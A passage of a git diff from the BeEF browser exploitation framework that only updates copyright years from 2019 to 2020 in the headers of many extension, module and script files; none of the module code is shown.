100644 --- a/extensions/social_engineering/models/mass_mailer.rb +++ b/extensions/social_engineering/models/mass_mailer.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/social_engineering/models/web_cloner.rb b/extensions/social_engineering/models/web_cloner.rb index e3aedbad4..e8a262fcd 100644 --- a/extensions/social_engineering/models/web_cloner.rb +++ b/extensions/social_engineering/models/web_cloner.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/social_engineering/powershell/bind_powershell.rb b/extensions/social_engineering/powershell/bind_powershell.rb index 4246bcf8b..7f1d380cd 100644 --- a/extensions/social_engineering/powershell/bind_powershell.rb +++ b/extensions/social_engineering/powershell/bind_powershell.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/social_engineering/rest/socialengineering.rb b/extensions/social_engineering/rest/socialengineering.rb index e3388f3ad..a600625ad 100644 --- a/extensions/social_engineering/rest/socialengineering.rb +++ b/extensions/social_engineering/rest/socialengineering.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/social_engineering/web_cloner/interceptor.rb b/extensions/social_engineering/web_cloner/interceptor.rb index 94750f556..2313af90d 100644 --- a/extensions/social_engineering/web_cloner/interceptor.rb +++ b/extensions/social_engineering/web_cloner/interceptor.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb index 76de9ad13..df680ca9d 100644 --- a/extensions/social_engineering/web_cloner/web_cloner.rb +++ b/extensions/social_engineering/web_cloner/web_cloner.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/webrtc/api.rb b/extensions/webrtc/api.rb index 80f6ad68a..83f26092f 100644 --- a/extensions/webrtc/api.rb +++ b/extensions/webrtc/api.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/webrtc/api/hook.rb b/extensions/webrtc/api/hook.rb index 9132ab080..1f7699dec 100644 --- a/extensions/webrtc/api/hook.rb +++ b/extensions/webrtc/api/hook.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/webrtc/config.yaml b/extensions/webrtc/config.yaml index 55015a03d..12f348fb4 100644 --- a/extensions/webrtc/config.yaml +++ b/extensions/webrtc/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/webrtc/extension.rb b/extensions/webrtc/extension.rb index 24b3d8f47..d83effbcb 100644 --- a/extensions/webrtc/extension.rb +++ b/extensions/webrtc/extension.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/webrtc/handlers.rb b/extensions/webrtc/handlers.rb index 7d67d2bb5..6b287292e 100644 --- a/extensions/webrtc/handlers.rb +++ b/extensions/webrtc/handlers.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/webrtc/models/rtcmanage.rb b/extensions/webrtc/models/rtcmanage.rb index c64a61ba1..271e8ec4a 100644 --- a/extensions/webrtc/models/rtcmanage.rb +++ b/extensions/webrtc/models/rtcmanage.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/webrtc/models/rtcmodulestatus.rb b/extensions/webrtc/models/rtcmodulestatus.rb index 618a480f4..65b6d29f3 100644 --- a/extensions/webrtc/models/rtcmodulestatus.rb +++ b/extensions/webrtc/models/rtcmodulestatus.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/webrtc/models/rtcsignal.rb b/extensions/webrtc/models/rtcsignal.rb index 594d5085e..f270dff2c 100644 --- a/extensions/webrtc/models/rtcsignal.rb +++ b/extensions/webrtc/models/rtcsignal.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/webrtc/models/rtcstatus.rb b/extensions/webrtc/models/rtcstatus.rb index 4d8968dca..2f19ae874 100644 --- a/extensions/webrtc/models/rtcstatus.rb +++ b/extensions/webrtc/models/rtcstatus.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/webrtc/rest/webrtc.rb b/extensions/webrtc/rest/webrtc.rb index 8b410f0a9..5c8e605d7 100644 --- a/extensions/webrtc/rest/webrtc.rb +++ b/extensions/webrtc/rest/webrtc.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/xssrays/api.rb b/extensions/xssrays/api.rb index 025b1ed9f..8544f7ad0 100644 --- a/extensions/xssrays/api.rb +++ b/extensions/xssrays/api.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/xssrays/api/scan.rb b/extensions/xssrays/api/scan.rb index 4b3dca967..c96ec2776 100644 --- a/extensions/xssrays/api/scan.rb +++ b/extensions/xssrays/api/scan.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # @@ -46,7 +46,7 @@ module BeEF # If we use WebSockets, just reply wih the component contents if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session) content = File.read(find_beefjs_component_path 'beef.net.xssrays').gsub('// - // Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + // Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file \'doc/COPYING\' for copying permission //', "") diff --git a/extensions/xssrays/config.yaml b/extensions/xssrays/config.yaml index 38272a707..72abc2cd0 100644 --- a/extensions/xssrays/config.yaml +++ b/extensions/xssrays/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/xssrays/extension.rb b/extensions/xssrays/extension.rb index 888e8fa7e..d8d304bd7 100644 --- a/extensions/xssrays/extension.rb +++ b/extensions/xssrays/extension.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/xssrays/handler.rb b/extensions/xssrays/handler.rb index 4cd89d215..63f5cf8b9 100644 --- a/extensions/xssrays/handler.rb +++ b/extensions/xssrays/handler.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/xssrays/models/xssraysdetail.rb b/extensions/xssrays/models/xssraysdetail.rb index c9fd68f92..89ea4ac9e 100644 --- a/extensions/xssrays/models/xssraysdetail.rb +++ b/extensions/xssrays/models/xssraysdetail.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/xssrays/models/xssraysscan.rb b/extensions/xssrays/models/xssraysscan.rb index 34ad64675..da1947a30 100644 --- a/extensions/xssrays/models/xssraysscan.rb +++ b/extensions/xssrays/models/xssraysscan.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/extensions/xssrays/rest/xssrays.rb b/extensions/xssrays/rest/xssrays.rb index d81abf7fd..9bade7c32 100644 --- a/extensions/xssrays/rest/xssrays.rb +++ b/extensions/xssrays/rest/xssrays.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/install b/install index ab6cbc4d1..cb0c09c94 100755 --- a/install +++ b/install @@ -1,6 +1,6 @@ #!/bin/bash # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/liveCD/BeEFLive.sh b/liveCD/BeEFLive.sh index f19940e23..d781812b4 100644 --- a/liveCD/BeEFLive.sh +++ b/liveCD/BeEFLive.sh @@ -1,6 +1,6 @@ #!/bin/bash # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'home/beef/doc/COPYING' for copying permission # @@ -117,7 +117,7 @@ show_menu() { echo " BeEF Live CD " echo "======================================" echo "" - echo "Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net" + echo "Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net" echo "Browser Exploitation Framework (BeEF) - http://beefproject.com" echo "See the file 'home/beef/doc/COPYING' for copying permission" echo "" diff --git a/modules/browser/avant_steal_history/command.js b/modules/browser/avant_steal_history/command.js index a3d147642..416b0b3f9 100644 --- a/modules/browser/avant_steal_history/command.js +++ b/modules/browser/avant_steal_history/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn wade@bindshell.net // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. diff --git a/modules/browser/avant_steal_history/config.yaml b/modules/browser/avant_steal_history/config.yaml index ffef1f2f6..87d88ce05 100644 --- a/modules/browser/avant_steal_history/config.yaml +++ b/modules/browser/avant_steal_history/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. diff --git a/modules/browser/avant_steal_history/module.rb b/modules/browser/avant_steal_history/module.rb index f6d990cc7..430f5ff61 100644 --- a/modules/browser/avant_steal_history/module.rb +++ b/modules/browser/avant_steal_history/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. diff --git a/modules/browser/browser_fingerprinting/command.js b/modules/browser/browser_fingerprinting/command.js index dc9865f5f..54c7916e4 100644 --- a/modules/browser/browser_fingerprinting/command.js +++ b/modules/browser/browser_fingerprinting/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/browser_fingerprinting/config.yaml b/modules/browser/browser_fingerprinting/config.yaml index 576d4922e..4539a85e8 100644 --- a/modules/browser/browser_fingerprinting/config.yaml +++ b/modules/browser/browser_fingerprinting/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/browser_fingerprinting/module.rb b/modules/browser/browser_fingerprinting/module.rb index e54ff4583..89ee72594 100644 --- a/modules/browser/browser_fingerprinting/module.rb +++ b/modules/browser/browser_fingerprinting/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_activex/command.js b/modules/browser/detect_activex/command.js index 357715769..8068863ee 100644 --- a/modules/browser/detect_activex/command.js +++ b/modules/browser/detect_activex/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/detect_activex/config.yaml b/modules/browser/detect_activex/config.yaml index bb65bcdc5..5a81d1933 100644 --- a/modules/browser/detect_activex/config.yaml +++ b/modules/browser/detect_activex/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_activex/module.rb b/modules/browser/detect_activex/module.rb index e4f5458bd..3fc73785f 100644 --- a/modules/browser/detect_activex/module.rb +++ b/modules/browser/detect_activex/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_evernote_clipper/command.js b/modules/browser/detect_evernote_clipper/command.js index 1f8c4bf12..4723a9b7e 100644 --- a/modules/browser/detect_evernote_clipper/command.js +++ b/modules/browser/detect_evernote_clipper/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/detect_evernote_clipper/config.yaml b/modules/browser/detect_evernote_clipper/config.yaml index 1bdb79167..7f8234704 100644 --- a/modules/browser/detect_evernote_clipper/config.yaml +++ b/modules/browser/detect_evernote_clipper/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_evernote_clipper/module.rb b/modules/browser/detect_evernote_clipper/module.rb index b278369ba..ec5300c55 100644 --- a/modules/browser/detect_evernote_clipper/module.rb +++ b/modules/browser/detect_evernote_clipper/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_extensions/command.js b/modules/browser/detect_extensions/command.js index 10d886593..7abd73c3e 100644 --- a/modules/browser/detect_extensions/command.js +++ b/modules/browser/detect_extensions/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/detect_extensions/config.yaml b/modules/browser/detect_extensions/config.yaml index 3b4faab0f..a51ce38b9 100644 --- a/modules/browser/detect_extensions/config.yaml +++ b/modules/browser/detect_extensions/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_extensions/module.rb b/modules/browser/detect_extensions/module.rb index 2b29a6c86..f5ba3d855 100644 --- a/modules/browser/detect_extensions/module.rb +++ b/modules/browser/detect_extensions/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_firebug/command.js b/modules/browser/detect_firebug/command.js index e0c58405a..20d3d416e 100644 --- a/modules/browser/detect_firebug/command.js +++ b/modules/browser/detect_firebug/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/detect_firebug/config.yaml b/modules/browser/detect_firebug/config.yaml index 080966347..f1da4c3f2 100644 --- a/modules/browser/detect_firebug/config.yaml +++ b/modules/browser/detect_firebug/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_firebug/module.rb b/modules/browser/detect_firebug/module.rb index eb7502566..fc9e3004d 100644 --- a/modules/browser/detect_firebug/module.rb +++ b/modules/browser/detect_firebug/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_foxit/command.js b/modules/browser/detect_foxit/command.js index b1c0c2ecc..d199f4630 100644 --- a/modules/browser/detect_foxit/command.js +++ b/modules/browser/detect_foxit/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/detect_foxit/config.yaml b/modules/browser/detect_foxit/config.yaml index 8e96d9b5f..327bd7275 100644 --- a/modules/browser/detect_foxit/config.yaml +++ b/modules/browser/detect_foxit/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_foxit/module.rb b/modules/browser/detect_foxit/module.rb index 6d4ce04d1..f6b5444c8 100644 --- a/modules/browser/detect_foxit/module.rb +++ b/modules/browser/detect_foxit/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_lastpass/command.js b/modules/browser/detect_lastpass/command.js index 2c1030427..56297b78e 100644 --- a/modules/browser/detect_lastpass/command.js +++ b/modules/browser/detect_lastpass/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/detect_lastpass/config.yaml b/modules/browser/detect_lastpass/config.yaml index 851c9536c..195eeb52c 100644 --- a/modules/browser/detect_lastpass/config.yaml +++ b/modules/browser/detect_lastpass/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_lastpass/module.rb b/modules/browser/detect_lastpass/module.rb index 59e38fddb..87aa4cf3c 100644 --- a/modules/browser/detect_lastpass/module.rb +++ b/modules/browser/detect_lastpass/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_mime_types/command.js b/modules/browser/detect_mime_types/command.js index 6fbfb9ee3..88f56c40e 100644 --- a/modules/browser/detect_mime_types/command.js +++ b/modules/browser/detect_mime_types/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/detect_mime_types/config.yaml b/modules/browser/detect_mime_types/config.yaml index 0c8383add..f20eae97c 100644 --- a/modules/browser/detect_mime_types/config.yaml +++ b/modules/browser/detect_mime_types/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_mime_types/module.rb b/modules/browser/detect_mime_types/module.rb index 6eb9a3e2b..2f9b32487 100644 --- a/modules/browser/detect_mime_types/module.rb +++ b/modules/browser/detect_mime_types/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_office/command.js b/modules/browser/detect_office/command.js index a0264ad96..00ee25c0e 100644 --- a/modules/browser/detect_office/command.js +++ b/modules/browser/detect_office/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/detect_office/config.yaml b/modules/browser/detect_office/config.yaml index e35777e02..5013239ab 100644 --- a/modules/browser/detect_office/config.yaml +++ b/modules/browser/detect_office/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_office/module.rb b/modules/browser/detect_office/module.rb index 46f463376..4501d1186 100644 --- a/modules/browser/detect_office/module.rb +++ b/modules/browser/detect_office/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_popup_blocker/command.js b/modules/browser/detect_popup_blocker/command.js index 0aa402d62..9d3195714 100644 --- a/modules/browser/detect_popup_blocker/command.js +++ b/modules/browser/detect_popup_blocker/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/detect_popup_blocker/config.yaml b/modules/browser/detect_popup_blocker/config.yaml index 434c27c95..5b71915e5 100644 --- a/modules/browser/detect_popup_blocker/config.yaml +++ b/modules/browser/detect_popup_blocker/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_popup_blocker/module.rb b/modules/browser/detect_popup_blocker/module.rb index 0268cbb6a..07b1989ee 100644 --- a/modules/browser/detect_popup_blocker/module.rb +++ b/modules/browser/detect_popup_blocker/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_quicktime/command.js b/modules/browser/detect_quicktime/command.js index c111d052d..ed33f5c02 100644 --- a/modules/browser/detect_quicktime/command.js +++ b/modules/browser/detect_quicktime/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/detect_quicktime/config.yaml b/modules/browser/detect_quicktime/config.yaml index 5a43ba33c..f30054439 100644 --- a/modules/browser/detect_quicktime/config.yaml +++ b/modules/browser/detect_quicktime/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/detect_quicktime/module.rb b/modules/browser/detect_quicktime/module.rb index a498b3452..cc165f949 100644 --- a/modules/browser/detect_quicktime/module.rb +++ 